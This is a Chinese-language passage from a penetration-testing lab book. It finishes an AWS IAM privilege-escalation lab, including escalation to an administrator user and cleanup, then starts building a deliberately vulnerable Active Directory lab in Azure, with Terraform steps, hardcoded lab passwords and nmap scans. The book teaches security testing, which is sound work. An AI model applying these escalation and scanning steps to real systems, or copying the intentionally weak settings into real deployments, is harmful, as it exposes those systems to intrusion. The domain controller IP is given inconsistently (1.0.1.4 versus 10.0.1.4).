每当一个新交易提交到 QLDB 账本时,它会被添加到加密可验证的日志中。每个交易都包含用于构建Merkle 树(或哈希树)的数据的加密哈希。在这里,Merkle 树的属性帮助确保即使记录被删除,交易历史也能保持完整。我们不会深入探讨 Merkle 树的工作原理,所以可以随时查看以下视频了解更多细节:www.youtube.com/watch?v=ZfYDl4kaVCo。
到此为止,我们应该已经获取到两个标志!在从 S3 桶中检索到标志后,我们继续使用附加在 SageMaker 笔记本实例上的 IAM 角色以及脆弱的 Lambda 执行角色来提升我们的权限,具体过程如以下图示所示:

图 7.57 – 检索最后一个标志的路径
类似于图 7.57所示,成功提升权限后,我们能够创建并使用一个具有管理员权限的新 IAM 用户来访问 QLDB 账本数据库。在模拟过程中创建的这个新 IAM 用户,理论上可以在 AWS 账户内几乎做任何事情。值得注意的是,尽管有一些特定权限是 AWS 根用户专有的,但如果恶意用户能够访问具有AdministratorAccess权限策略的 IAM 用户,他们完全有可能对 AWS 账户持有者造成损害。
注意
在这个实验环境中还有其他方式可以执行权限提升以获取标志!请随意探索其他技术,并尝试不同的方法来实现权限提升并访问标志。
清理中
清理我们创建或部署的云资源是在处理易受攻击的云应用和环境时的关键步骤。如果我们不及时清理并删除我们创建的资源,我们可能会为未使用的云资源付费。此外,这些云资源也可能会被恶意用户攻击。至少,我们将为以下资源的运行时间付费:
-
1 个
ml.t3.mediumSageMaker 笔记本实例 -
1 个
t2.microEC2 实例(Cloud9 环境) -
1 个 QLDB 账本数据库
请注意,我们还应考虑其他费用,包括数据传输费用、实例使用的任何持久数据的存储费用、实验环境中使用的额外 AWS 服务(例如,监控日志)可能产生的费用,以及与 AWS 使用相关的任何适用税费。
重要提示
需要注意的是,本实验允许通过新的或现有的 Jupyter 笔记本(或通过实例终端的命令行)在 SageMaker 笔记本实例中创建各种资源。实验用户还可以在提升权限后使用新的 IAM 用户(new-iam-user)创建新资源。确保这些资源也立即被删除,以防止产生意外和不必要的 AWS 费用。
话虽如此,让我们继续删除本章中创建的资源,具体如下:
-
让我们从删除和清理通过 Terraform 创建的资源开始。在 Cloud9 环境的终端中(在
$符号后),导航到~/environment/iam_lab目录,然后使用terraform destroy来清理我们之前创建的资源:cd ~/environment/iam_lab terraform destroy -auto-approve如果有一些资源未能删除(或需要一些时间才能删除),可以随意运行
terraform destroy命令几次。或者,如果所有方法都失败,你也可以通过用户界面手动删除资源。
注意
这一步骤可能需要 10-15 分钟才能完成。确保也运行terraform show以验证资源是否已成功删除。
-
现在,让我们删除
new-iam-userIAM 用户。导航到 IAM 仪表板,然后点击侧边栏中的Users(位于Access Management下)。通过点击对应new-iam-user的链接,进入该 IAM 用户的详细页面。在 IAM 用户的详细页面上,花几分钟时间查看该用户的权限配置,然后点击页面左上角的Delete按钮。确认删除时,在文本输入框中输入new-iam-user,然后点击Delete** **user按钮。 -
接下来,让我们删除 QLDB 数据库资源以及存储标志的 S3 存储桶。删除这些资源应该是直接的。我将实际删除这些资源的任务留给你作为练习!
注意
请注意,在执行实际删除步骤之前,您需要禁用 QLDB 账本资源的删除保护。要禁用删除保护,(1) 点击编辑账本页面上的Edit按钮,(2) 取消勾选启用删除保护(位于删除保护下),然后(3) 点击确认更改。
- 可选:你还可以选择删除用于设置实验环境的 Cloud9 环境。请注意,如果删除附加到 EC2 实例的 EBS 卷,Cloud9 环境中存储的文件也会被删除。
就是这些!到此为止,我们应该对如何在 AWS 上构建 IAM 权限提升实验有了充分的了解。我们在上一部分进行的渗透测试模拟应该验证了我们可以在实验环境中提升权限。
总结
在本章中,我们成功地在 AWS 上设置了一个 IAM 权限提升实验环境。我们从设置一个 Cloud9 环境开始,利用它准备和运行我们的 Terraform 配置代码。之后,我们通过 AWS 管理控制台设置了标志和各种云资源。接着,我们使用 Terraform 自动生成了其余的 IAM 权限提升实验。完成实验环境设置后,我们进行了渗透测试模拟,验证我们的 IAM 权限提升实验是否已正确配置。
在下一章中,我们将在 Microsoft Azure 的隔离网络环境中设计并构建一个易受攻击的 Active Directory 实验。我们将故意引入各种安全配置错误,以模拟在实际 Active Directory 实现中常见的安全问题。如果你有兴趣学习如何构建(并利用)Active Directory 实验,那么下一章适合你!
进一步阅读
如果你需要更多关于本章内容的详细信息,以下资源可能对你有所帮助:
-
AWS 身份与访问管理 – AWS 资源 的访问管理 (
docs.aws.amazon.com/IAM/latest/UserGuide/access.html) -
AWS 身份与访问管理 – AWS 管理的策略用于 AWS 身份与访问管理访问 分析器 (
docs.aws.amazon.com/IAM/latest/UserGuide/security-iam-awsmanpol.html) -
Amazon Quantum Ledger Database – 什么是 Amazon QLDB? (
docs.aws.amazon.com/qldb/latest/developerguide/working.history.html) -
Amazon SageMaker – 使用生命周期配置 脚本 定制笔记本实例 (
docs.aws.amazon.com/sagemaker/latest/dg/notebook-lifecycle-config.html) -
AWS Cloud9 – 什么是 AWS Cloud9? (
docs.aws.amazon.com/cloud9/latest/user-guide/welcome.html)
第八章:设计和构建一个易受攻击的 Active Directory 实验室
全球各地的组织依赖Active Directory来集中管理网络资源和用户帐户。它在全球范围内的广泛应用,使其成为攻击者试图突破大规模网络的常见目标。为了应对不断演变的攻击,设置模拟现实世界实施的渗透测试实验室环境,可以帮助组织模拟各种攻击类型,强化其安全措施,以保护网络资源和数据的安全。
在本章中,我们将在 Microsoft Azure 的隔离网络环境中设置和配置 Active Directory 实验室。在这个实验室设置中,我们将引入各种安全配置错误以及故意设置的弱配置,这些配置在实际的 Active Directory 实施中是常见的。一旦实验室环境准备就绪,我们将进行渗透测试模拟,以验证我们的实验室配置设置。
本章将涵盖以下主题:
-
准备必要的组件和前提条件
-
启动目标虚拟机实例
-
设置和配置 Active Directory 实验室
-
在实验室环境中模拟渗透测试
-
清理工作
牢记这些,我们开始吧!
技术要求
在开始之前,我们必须准备以下内容:
-
我们在第五章《在 Azure 上设置隔离的渗透测试实验室环境》中使用的
Microsoft Azure帐户 -
安装在您本地计算机上的
Microsoft Remote Desktop应用程序 -
在第五章《在 Azure 上设置隔离的渗透测试实验室环境》部分的利用 Terraform 自动设置攻击者虚拟机实例中创建的 Kali Linux 虚拟机实例的黄金镜像
-
任意文本编辑器(如 Notepad++、Visual Studio Code 或 Sublime Text),用于临时存储将用于本章动手解决方案中的特定值(例如,本地计算机的 IP 地址)
一旦这些要求准备就绪,您可以继续进行后续步骤。
重要提示
在继续之前,请确保您已完成第五章中的动手操作。本章假设我们已经创建了攻击者虚拟机实例的黄金虚拟机镜像。
每章的源代码和其他文件可在本书的 GitHub 仓库中找到:github.com/PacktPublishing/Building-and-Automating-Penetration-Testing-Labs-in-the-Cloud。
准备必要的组件和前提条件
在本节中,我们将设置隔离的网络环境,目标资源将在此启动。这将确保只有受信任的计算机(我们的本地计算机和攻击者的计算机)能够访问易受攻击和配置错误的资源及服务:

图 8.1 — 准备先决条件
我们还将在本章稍后的部分中生成 SSH 密钥(公钥和私钥),用于访问攻击者 VM 实例。如 图 8**.1 所示,私钥将存储在本地机器中,而公钥将存储在攻击者 VM 实例中。通过这种设置,服务器(攻击者 VM 实例)可以使用私钥来确认客户端(本地机器)的身份。这将使我们能够通过 SSH 访问攻击者 VM 实例并远程执行命令。此外,我们还将确保攻击者 VM 实例已准备好,以便我们可以专注于在本章接下来的部分中设置和验证易受攻击的 Active Directory 实验室配置。
也就是说,我们将把这一部分分为三个部分:
-
第一部分(共 3 部分)– 生成 SSH 密钥以访问攻击者 VM 实例
-
第二部分(共 3 部分)– 使用 Terraform 设置实验室网络环境
-
第三部分(共 3 部分)– 访问攻击者 VM 实例
让我们开始吧。
第一部分(共 3 部分)– 生成 SSH 密钥以访问攻击者 VM 实例
让我们首先生成 SSH 密钥,以便稍后在本章中访问攻击者 VM 实例:
-
通过点击 图 8**.2 中的按钮来打开
Cloud Shell编辑器:![]()
图 8.2 – 打开 Cloud Shell
这将打开一个终端,我们可以在其中运行 bash 命令。
重要提示
在少数情况下,如果 Cloud Shell 无法挂载 Azure 文件共享(即收到 Failed to mount the Azure file share. Your cloud drive won’t be available 的警告),只需重新启动 Cloud Shell(并检查是否能解决问题)。
-
在终端(
$符号后)中运行以下命令,创建一个新目录(命名为 kali_keys_ad)并导航到该目录:cd ~ mkdir kali_keys_ad && cd kali_keys_ad我们将在此目录中存储生成的密钥。
-
生成一对新的 SSH 密钥并将生成的密钥文件保存在
kali_keys_ad目录中:ssh-keygen -t rsa -C kali -f ./kali-ad-lab-ssh当系统要求输入密码时,直接按 Enter 键。这将生成两个文件 ——
kali-ad-lab-ssh(私钥)和kali-ad-lab-ssh.pub(公钥)。
注意
这些 SSH 密钥文件是如何工作的? SSH 密钥文件由 私钥(存储并保存在客户端机器上)和相应的 公钥(上传到远程服务器)组成。在身份验证过程中,客户端使用其私钥生成数字签名,服务器则使用相应的公钥进行验证。在此过程中,服务器可以根据客户端持有私钥的事实确认其身份,而无需传输敏感的凭证。
-
使用
cat命令打印公钥值:cat kali-ad-lab-ssh.pub将此值保存在本地机器的文本编辑器中,因为我们将在本章后续部分中使用它。
-
点击 上传/下载文件 按钮,如 图 8**.3 中左上角所示:
![]()
图 8.3 — 下载我们生成的私钥
从可用选项列表中选择
Download选项。当你看到Download a file弹出窗口时,在 图 8.3 中突出显示的输入框中输入/kali_keys_ad/kali-ad-lab-ssh,然后点击Download。 -
点击
Click here to download your file链接继续进行实际的下载操作。这将把kali-ad-lab-ssh密钥文件从 Cloud Shell 环境下载到你的本地机器。
第二部分,共 3 部分 — 使用 Terraform 设置实验室网络环境
按照以下步骤操作:
-
在 Cloud Shell 终端(
$符号后面)运行以下命令,创建一个新目录(名为 ch8_environment)并切换到该目录:cd ~ mkdir ch8_environment && cd ch8_environment -
下载包含本章实验环境 Terraform 配置文件的 ZIP 文件:
DOWNLOAD_URL=`https://github.com/PacktPublishing/Building-and-Automating-Penetration-Testing-Labs-in-the-Cloud/raw/main/ch08/ad_lab_environment.zip` wget $DOWNLOAD_URL这将把
ad_lab_environment.zip文件下载到ch8_environment目录。请确保指定的下载链接正确(没有空格),并指向ad_lab_environment.zip文件。
注意
你可以在本书的 GitHub 仓库中找到包含 Terraform 配置文件的 ZIP 文件,链接地址为:github.com/PacktPublishing/Building-and-Automating-Penetration-Testing-Labs-in-the-Cloud/tree/main/ch08。
-
使用
unzip命令解压你下载的 ZIP 文件内容:unzip ad_lab_environment.zip这应该会产生以下日志:
Archive: ad_lab_environment.zip creating: attacker_vm/ inflating: attacker_vm/outputs.tf inflating: attacker_vm/variables.tf inflating: attacker_vm/main.tf inflating: main.tf inflating: outputs.tf extracting: provider.tf creating: secure_network/ inflating: secure_network/outputs.tf extracting: secure_network/variables.tf inflating: secure_network/main.tf inflating: terraform.tfvars inflating: variables.tf inflating: versions.tf在这里,我们可以看到刚才从 ZIP 文件中提取出来的文件。
-
既然我们已经从 ZIP 文件中提取了文件,现在可以删除 ZIP 文件了:
rm ad_lab_environment.zip -
通过点击 图 8.4 中突出显示的按钮来打开编辑器:
![]()
图 8.4 — 打开 Cloud Shell 编辑器
这应该会打开一个文件树,和一个编辑器,在这里我们可以直接修改文件的代码。
-
在编辑器中打开
ch8_environment/terraform.tfvars文件,通过点击文件树中的该文件:my_ip = "<IP ADDRESS>" kali_image_id = "<KALI IMAGE ID>" my_public_ssh_key = "<PUBLIC SSH KEY>"确保将
<IP ADDRESS>替换为你本地机器的 IP 地址,将<PUBLIC SSH KEY>替换为公共 SSH 密钥的字符串值(之前我们使用cat命令打印过)。更新<KALI IMAGE ID>为我们在 第五章 中创建的黄金镜像的资源 ID,《在 Azure 上设置隔离的渗透测试实验室环境》。如果你想知道这个值是什么样的,"<KALI IMAGE ID>"占位符的值应该具有类似于以下格式:/subscriptions/.../resourcegroups/image-resource-group/providers/Microsoft.Compute/galleries/kali_gallery/images/golden-image/versions/1.0.0确保保存你对
ch8_environment/terraform.tfvars文件所做的更改。
注意
如果您正在寻找<KALI IMAGE ID>占位符的值,请在搜索栏中输入1.0.0,然后从搜索结果返回的资源列表中选择VM image version 1.0.0。在1.0.0 (gallery/kali_image/1.0.0) VM image version的详细信息页面(概述窗格)上,单击JSON View链接,然后从资源 **JSON页面复制资源 ID**值。
-
让我们使用
terraform init命令初始化 Terraform 工作目录:terraform init
注意
请注意,本章中的实践解决方案使用 Terraform 版本v1.3.X,因为这是我们云 Shell 环境中配置的版本(截至目前为止)。如果您的 Terraform 版本较高,您可以设置并使用较低版本(例如v1.3.2),以防在运行 Terraform 命令时遇到问题。
-
让我们运行
terraform plan来预览 Terraform 将执行的更改:terraform plan这应该产生以下输出:
... Plan: 20 to add, 0 to change, 0 to destroy. ...
注意
运行此命令可能会产生一些弃用警告。只要我们能够成功运行命令而没有错误,这应该是可以接受的。
-
接下来,让我们使用
terraform apply命令来实施更改:terraform apply -auto-approve这应该返回以下输出:
... Apply complete! Resources: 20 added, 0 changed, 0 destroyed. Outputs: vm_kali_private_ip = "..." vm_kali_public_ip = "..."如果
terraform apply命令运行没有任何错误,我们应该有以下环境设置:![]()
图 8.5 — VNet peering 设置
在这里,我们有一个类似于我们在第五章中配置的
VNet peering设置,在 Azure 上设置隔离的渗透测试实验室环境。除了网络环境外,我们还应该设置好攻击者 VM 实例(vm-kali)。
注意
此步骤可能需要大约 10 到 15 分钟才能完成。在等待时随时喝杯咖啡或茶!请注意,在terraform apply命令运行完成后,攻击者 VM 实例准备就绪可能需要几分钟时间。
-
使用以下命令验证资源是否已成功创建:
terraform show这应该返回创建的资源,以及以下输出:
Outputs: vm_kali_private_ip = "<VM KALI PRIVATE IP>" vm_kali_public_ip = "<VM KALI PUBLIC IP>"请注意
<VM KALI PUBLIC IP>的值,因为我们将在接下来的步骤中使用此值。
第三部分 3 – 访问攻击者 VM 实例
现在,让我们从浏览器远程访问攻击者机器的桌面环境:
-
打开一个新的浏览器选项卡,并使用
http://<VM KALI PUBLIC IP>:8081/vnc.htmlURL 访问基于 Web 的noVNC客户端。确保将<VM KALI PUBLIC IP>替换为您之前复制到剪贴板的公共 IP 地址值:![]()
图 8.6 — noVNC 欢迎屏幕
这应该打开一个带有连接按钮的欢迎屏幕,类似于图 8**.6中显示的内容。
重要提示
如果你发现无法访问欢迎屏幕,可能是你的 IP 地址已经改变。只需打开 Cloud Shell 编辑器并更新terraform.tfvars文件。更新本地机器的新 IP 地址后,再次运行terraform apply命令,以更新防火墙规则,将你的新 IP 地址列入白名单。
-
点击连接按钮,然后使用
kali123作为密码(或者使用在第五章中设置 Kali Linux 攻击者机器时指定的密码)来访问桌面环境:![]()
图 8.7 —— 在浏览器中访问 Kali Linux 桌面/GUI 环境
本章中我们将使用桌面/GUI 环境。随时可以打开终端(在攻击者计算机的桌面环境内),并运行
ifconfig命令,确认 Kali Linux 虚拟机实例已经在vnet-02(192.168.0.0/16)中启动。
注意
请注意,你也可以通过在本地机器上使用ssh -i kali-ad-lab-ssh kali_admin@<VM KALI PUBLIC IP>命令直接访问攻击者 Kali Linux 服务器(即在运行chmod** **400 kali-ad-lab-ssh之后)。
到这一步,我们已经在短短几步内设置好了隔离的网络环境和攻击者虚拟机实例!现在,让我们继续启动目标虚拟机实例。
启动目标虚拟机实例
在本节中,我们将启动两个 Windows 虚拟机实例,作为网络环境中的目标资源。第一个虚拟机实例将作为域控制器,第二个虚拟机实例将作为将加入域的工作站计算机:

图 8.8 —— 启动目标虚拟机实例
如果这是你第一次设置活动目录,那么我们可以将域控制器看作是网络的大脑,它负责监督用户认证、资源管理和目录服务。我们可以将工作站计算机看作是连接到身体的一只手臂,它与大脑(域控制器)互动,以访问和使用网络资源与服务。需要注意的是,我们可以有多台机器加入域,每台机器作为一个独立的“手臂”,但仍然在域控制器的控制和指导下。然而,在本章中,我们只会设置一台工作站计算机加入域。
注意
本节主要集中在启动我们 Microsoft Azure 账户中的 Windows 虚拟机实例。接下来会有专门的章节讲解(误)配置实际的活动目录设置。
我们将把这一节分为三个子部分:
-
第一部分,共 3 部分——启动域控制器的虚拟机实例
-
第二部分,共 3 部分——启动工作站计算机的虚拟机实例
-
第三部分,共 3 部分——测试 网络连接性
让我们开始吧。
第一部分,共 3 部分——启动域控制器的虚拟机实例
让我们从启动第一个 Windows 虚拟机实例开始:
-
在搜索栏中输入虚拟机并按Enter键:
![]()
图 8.9 — 导航到虚拟机页面
从可用选项中选择虚拟机以导航到虚拟
机页面。 -
在虚拟机页面,点击创建按钮。从下拉菜单中选择Azure 虚拟机。
-
在创建虚拟机页面,指定基础选项卡下的以下配置值:
-
项目详情 > 订阅:(使用现有订阅)
-
项目详情 > 资源
组:resource-group-01 -
实例详情 > 虚拟机
名称:ad-domain-controller -
实例详情 > 区域:(美国)
东部美国 -
实例详情 > 安全
类型:标准 -
实例详情 > 镜像:点击查看所有
镜像链接
-
备注
点击查看所有镜像将重定向您到选择镜像页面。
-
在选择镜像页面,输入
windows到搜索框中,然后按Enter键:![]()
图 8.10 — 选择 Windows Server 镜像
点击选择按钮选择
Windows Server,如图 8.10所示。 -
选择Windows Server 2019 Datacenter – x64 Gen 2(或者如果有其他更新版本,选择列表中最接近的一个):
![]()
图 8.11 — 为域控制器虚拟机实例选择镜像
这应该会将您重定向回创建虚拟
机页面。
重要说明
如果在选择 Windows Server 镜像时遇到问题,并且它没有出现在下拉菜单中,简单地刷新页面,然后再试一次。请注意,您可能需要重新输入其他虚拟机配置设置。
-
在创建虚拟机页面继续之前的步骤,指定以下配置值:
-
项目详情 > 大小:Standard_B2ms – 2 vcpus, 8
GiB 内存 -
管理员账户 > 用户名:
admin_user -
管理员账户 > 密码:
Windows1234!!! -
管理员账户 > 确认
密码:Windows1234!!! -
入站端口规则 > 公共入站
端口:无
然后点击下一步 : 磁盘 >按钮。
- 接受磁盘选项卡下的默认配置,然后点击下一步 :
网络 >。
-
-
在网络选项卡下,确保设置以下配置值:
-
虚拟
网络:vnet-01 -
子网:
subnet-01 (10.0.1.0/24) -
NIC 网络安全
组:高级 -
配置网络安全
组:nsg-01 -
删除公共 IP 和 NIC 当虚拟机
被删除时:(已勾选)
在这里,我们正在配置我们的 Windows 虚拟机实例,使其在前一节中使用 Terraform 自动设置的 VNet(vnet-01)内启动。
-
-
现在,继续点击
Next按钮,直到到达最后一个标签页。
注意
只需接受Disks、Networking、Management、Monitoring、Advanced、Tags和Review +** **create下的默认设置。
-
一旦进入
Review + create标签页,审阅配置详情后,点击Create按钮。 -
等待直到看到
Your deployment is complete消息。向下滚动并点击Go to resource按钮。这将把你重定向到我们刚刚创建的 VM(ad-domain-controller)的Overview页面。 -
在左侧面板的资源菜单中找到并选择
Connect,位于Settings部分。 -
点击
Download RDP File,如图 8.12所示:![]()
图 8.12 — 下载 RDP 文件
这将会下载一个 RDP 文件(ad-domain-controller.rdp)到本地机器。如果你看到门户网站的
Connect页面是新版,只需点击Native RDP下的Select按钮(位于Most common下),然后再点击Download RDP** **File按钮。
注意
远程桌面协议(RDP)是一种安全协议(由微软开发),允许用户通过网络访问和控制计算机的桌面界面。通过此协议,RDP 文件只是一个配置文件,其中包含访问远程机器界面所需的信息。如需更多信息,请访问learn.microsoft.com/en-us/azure/virtual-machines/windows/connect-rdp。
-
使用
Microsoft Remote Desktop应用打开 RDP 文件。如果已经安装了 Microsoft Remote Desktop 应用,我们可以直接双击存储在Downloads文件夹(或其他地方)的 RDP 文件,连接到 Windows VM 实例(ad-domain-controller)。 -
当系统提示输入用户账户凭证时,直接使用
admin_user作为用户名,Windows1234!!!作为密码:![]()
图 8.13 — 输入你的用户账户
当看到
You are connecting to the RDP** **host...弹窗时,点击Continue按钮:
重要提示
在极少数情况下,如果遇到黑屏,只需重启 VM 实例,再尝试连接。如果问题依然存在,可以删除该 VM 实例,重新创建,再进行连接。

-
图 8.14 — 登录后打开 Server Manager
登录到
admin_user用户账户后,我们应该看到Server Manager打开。
注意
如果这是你第一次使用Server Manager,你可以将其视为一个集中式界面,管理员可以在其中执行各种任务并管理 Windows Server 环境的不同方面。这包括配置服务器角色和功能、监控服务器性能、设置和配置 Active Directory 等。
-
单击搜索按钮并在搜索框中键入
cmd,类似于 图 8**.15 所示:![]()
图 8.15 — 打开命令提示符应用程序
单击命令提示符(在最佳匹配下)打开命令提示符应用程序。在这里,我们可以运行各种命令与操作系统交互,并执行文件和目录操作、系统配置、网络诊断等任务。
-
在命令提示符内运行
ipconfig以检索虚拟机实例的私有 IP 地址:![]()
图 8.16 — 运行 ipconfig 后的结果
在这里,我们可以看到我们第一个 Windows 虚拟机实例的私有 IP 地址(一旦我们稍后在本章中配置它后将作为活动目录域控制器),为
1.0.1.4。请注意,您在运行ipconfig后可能会获得不同的私有 IP 地址值。
注意
在本章后续的一系列步骤中,我们将假定我们域控制器机器的私有 IP 地址为1.0.1.4。请确保在上一步中运行ipconfig后获得不同的私有 IP 地址值时更新使用的 IP 地址值,在命令中使用。
此时,在我们隔离的网络环境中有一个运行的单个 Windows 虚拟机实例(除了攻击者虚拟机实例)。 请注意,此 Windows 虚拟机实例尚未设置活动目录! 因此,在接下来的部分中,请不要关闭此虚拟机实例(ad-domain-controller)的 RDP 会话,我们将在下一节中在此实例中设置和配置活动目录。暂时,您可以最小化 RDP 会话窗口,并导航回在其中打开 Azure 门户的浏览器。
第二部分 – 启动工作站计算机的虚拟机实例
现在,让我们为工作站计算机启动第二个 Windows 虚拟机实例:
-
返回在其中打开 Azure 门户的浏览器。在 Microsoft Azure 门户的搜索栏中,键入虚拟机并按 Enter:
![]()
图 8.17 — 导航至虚拟机页面
从可用选项列表中选择虚拟机,跳转至虚拟机页面(类似于 图 8**.17 所示)。
-
在虚拟机页面上,单击创建按钮。从下拉菜单中选择Azure 虚拟机。
-
在创建虚拟机页面上,在基本信息选项卡下指定以下配置数值:
-
项目详情 > 订阅:(使用现有订阅)
-
项目详情 > **资源
组: **resource-group-01 -
实例详情 > **虚拟机
名称: **ad-workstation-machine -
实例详情 > 区域
:(美国)东部美国 -
实例详情 > 安全性
类型:标准 -
实例详情 > 镜像: 点击查看全部
镜像链接
-
注意
点击 查看所有映像 将重定向到 选择映像 页面。
-
在 选择映像 页面,输入
windows在搜索框中然后按下 Enter:![]()
图 8.18 — 选择 Microsoft Windows 10 映像
通过点击 选择 按钮选择
Microsoft Windows 10,如 图 8**.18 中所示。 -
选择 Windows 10 Enterprise, version 22H2 – x64 Gen2(或者如果有其他更新版本,则从列表中选择最接近的一个):
![]()
图 8.19 — 选择工作站 VM 实例的映像
这将重定向您回到 创建虚拟机 页面。
注意
如果您在选择 Windows Server 映像并使其反映在下拉菜单中作为选定映像时遇到问题,只需刷新页面然后重试。请注意,您将需要再次输入 VM 配置设置。
-
继续我们在 创建虚拟机 页面上停下的地方,也要指定以下配置值:
-
项目详细信息 > 大小:**Standard_B2ms – 2 vcpus, 8
**GiB memory -
管理员帐户 > 用户名:
workstation_user -
管理员帐户 > 密码:
Workstation1234!!! -
管理员帐户 > 确认密码:
Workstation1234!!! -
入站端口规则 > 公共入站端口:无
-
许可 > 我确认我拥有符合条件的 Windows 10/11 许可证并具有多租户托管权限:(已选中)
在添加指定值后,点击 下一步:磁盘 > 按钮。
在 磁盘 标签下接受默认配置,并点击 下一步:网络 >。
-
-
在 网络 标签下,请确保设置以下配置值:
-
虚拟网络:
vnet-01 -
子网:
subnet-01 (10.0.1.0/24) -
NIC 网络安全组:高级
-
配置网络安全组:
nsg-01 -
删除公共 IP 和 NIC,当 VM 被删除时:(已检查)
在这里,我们正在配置第二个 Windows VM 实例 (
ad-workstation-machine),以便将其部署在与第一个 Windows VM 实例相同的 VNet(及子网)中。请注意,这些网络资源已经存在,并在前一节中使用 Terraform 自动创建。 -
-
现在,继续点击 下一步 按钮,直到达到最后一个标签。
注意
简单地接受 磁盘、网络、管理、监视、高级、标签 和 审核 + 创建 下的默认设置。
-
一旦到达 审核 + 创建 标签,请在审查配置细节后点击 创建 按钮。
-
等待看到 部署完成 消息。向下滚动并点击 转到资源 按钮。这将重定向到我们刚创建的 VM (
ad-workstation-machine) 的 概述 刀片。 -
在左窗格资源菜单下的 设置 部分中找到并选择 连接。
-
点击
Download RDP File,如 图 8.20 中所示:![]()
图 8.20 — 下载 RDP 文件
这将下载一个 RDP 文件(ad-workstation-machine.rdp)到本地机器。如果你正在查看门户的新版
Connect页面,只需在点击Download RDP File按钮之前,点击Native RDP下的Select按钮(在Most common下)。 -
使用
Microsoft Remote Desktop应用程序打开 RDP 文件。当提示输入凭据时,使用workstation_user作为用户名,Workstation1234!!!作为密码:![]()
图 8.21 — 输入你的用户帐户
当看到
You are connecting to the RDP host...弹窗时,点击Continue按钮。
重要提示
在遇到黑屏的情况下,只需重启虚拟机实例,然后再次尝试连接。否则,删除虚拟机实例,重新创建它,然后再连接。
-
在
Choose privacy settings for your device屏幕上,点击Accept。 -
在搜索栏中输入
cmd(位于屏幕的左下角),类似于 图 8.22 中所示:![]()
图 8.22 — 打开命令提示符
点击
Command Prompt(在Best match下)打开命令提示符应用程序。 -
运行
ipconfig来检查虚拟机实例的私有 IP 地址:![]()
图 8.23 — 在工作站虚拟机实例中运行 ipconfig 后的结果
这应该会返回一组与 图 8.23 类似的配置值。请注意,你可能会看到不同的 IPv4 地址 值。
第三部分 / 共 3 部分 — 测试网络连通性
启动目标虚拟机实例后,我们需要验证是否可以从在另一个 VNet(vnet-02)中启动的攻击者虚拟机实例访问同一 VNet(vnet-01)内的目标实例,以测试我们之前使用 Terraform 自动设置的 VNet 对等连接:

图 8.24 — 测试网络连通性
话虽如此,在我们继续接下来的步骤之前,先快速检查一下是否可以从攻击者虚拟机实例(vm-kali)访问到两个 Windows 实例(ad-domain-controller 和 ad-workstation-machine):
- 返回你用来访问攻击者机器桌面/GUI 环境的浏览器标签页。如果你已经关闭了该标签页,只需在新的浏览器标签页中访问
http://<VM KALI PUBLIC IP>:8081/vnc.html。确保将<VM KALI PUBLIC IP>替换为 Kali Linux 虚拟机实例的 Public IP 地址。
注意
使用 kali123 作为密码(或在设置 Kali Linux 攻击机时,在 第五章,在 Azure 上设置隔离渗透测试实验室环境 中指定的密码)来访问桌面环境。
-
在 Kali Linux 实例内打开一个终端窗口,通过点击图标 图 8.25 所示:
![]()
图 8.25 — 打开终端窗口
这应该会打开一个终端窗口,我们可以在
$符号后运行命令。 -
现在,让我们运行以下命令来扫描将作为域控制器的虚拟机实例 (
ad-domain-controller):IP=10.0.1.4 nmap --top-ports 1000 -Pn $IP确保你将
IP变量值更新为第一个目标虚拟机实例 (ad-domain-controller) 的实际私有 IP 地址。运行此命令应该会给我们以下结果:![]()
图 8.26 — 域控制器虚拟机实例的初步扫描
在这里,我们可以看到来自攻击者机器 (
vm-kali) 的网络流量可以到达域控制器虚拟机实例 (ad-domain-controller)。 -
接下来,让我们运行以下命令对第二个目标虚拟机实例 (
ad-workstation-machine) 进行扫描。它将作为工作站,稍后将加入域控制器:IP=10.0.1.5 nmap --top-ports 1000 -Pn $IP再次确认你将
IP变量值更新为第二个目标虚拟机实例 (ad-workstation-machine) 的实际私有 IP 地址。这应该会给我们以下结果:![]()
图 8.27 — 工作站机器(ad-workstation-machine)的初步扫描
在这里,我们可以看到来自攻击者机器 (
vm-kali) 的网络流量可以到达第二个 Windows 虚拟机实例 (ad-workstation-machine)。此时,我们的 Windows 虚拟机实例已经准备好。请注意,这些 Windows 虚拟机实例尚未设置 Active Directory! 在下一节中,我们将完成实验环境的设置,并在这些 Windows 虚拟机实例中设置和(错误地)配置 Active Directory。
设置和配置 Active Directory 实验室
在本节中,我们将设置 Active Directory 域控制器以及工作站机器(该机器将加入域)。在进行本节的动手操作部分之前,我们首先来讨论一些相关的概念和术语:
-
域:这代表一组逻辑的网络资源。我们可以将域看作是一个拥有独特身份和基础设施的虚拟城市。就像城市将不同的社区组合在一起,域也将网络资源在逻辑上组合在一起。
-
域控制器:这是负责为域用户和计算机提供身份验证和授权服务的服务器。我们可以将域控制器视为城市的主要安全办公室,确保只有授权的人员可以访问城市的不同部分。
-
林地:这代表 Active Directory 中的最高层次结构级别,包含多个域(以及其他资源)。我们可以将林地视为一个包含多个城市的区域,每个城市(域)独立运作,但它们都属于同一个林地。
-
组织单位(OU):这是域内的一个容器,可以用于容纳用户、计算机和其他对象。我们可以把 OU 想象成城市中的一个区。它像一个容器,用来组织和管理资源,就像区划用于分类建筑物和服务。
-
对象:代表活动目录网络中的单一元素或资源部分(包括用户账户、组和共享文件夹)。我们可以把对象看作是构成城市的单个元素(如房屋、商店和公园)。
注意
请注意,还有其他活动目录概念我们可以探索和讨论(这些我们在此未包括)。不过,作为介绍活动目录工作中基本概念和组件的入门部分,这些内容已经足够了。
在定义了一些关键概念之后,让我们来定义并描述一下活动目录。正如我们所见,活动目录只是一个目录服务,旨在管理网络资源和用户账户。就像一个城市的管理部门管理各个街区和资源一样,活动目录集中管理数字生态系统中的网络元素、用户身份和访问控制。
现在我们对本节的关键概念有了更好的理解,可以继续在之前启动的两台 Windows 虚拟机实例中设置并(错误)配置活动目录。由于设置活动目录实验室需要相对较长的步骤序列,我们将本节分为 12 个部分:
-
第一部分,共 12 部分 – 安装活动目录 域服务
-
第二部分,共 12 部分 – 将虚拟机实例提升为 域控制器
-
第三部分,共 12 部分 – 设置活动目录 证书服务
-
第四部分,共 12 部分 – 配置活动目录 证书服务
-
第五部分,共 12 部分 – 更新受信主机配置并启用 PowerShell 远程管理
-
第六部分,共 12 部分 – 在 域控制器 中设置标志
-
第七部分,共 12 部分 – 创建 John Doe 用户
-
第八部分,共 12 部分 – 创建 Jane Doe 用户
-
第九部分,共 12 部分 – 创建服务 账户用户
-
第十部分,共 12 部分 – 为 服务账户 设置 SPN
-
第十一部分,共 12 部分 – 将服务账户用户添加到远程管理 用户组
-
第十二部分,共 12 部分 – 配置 工作站机器
不再多说,让我们开始吧!
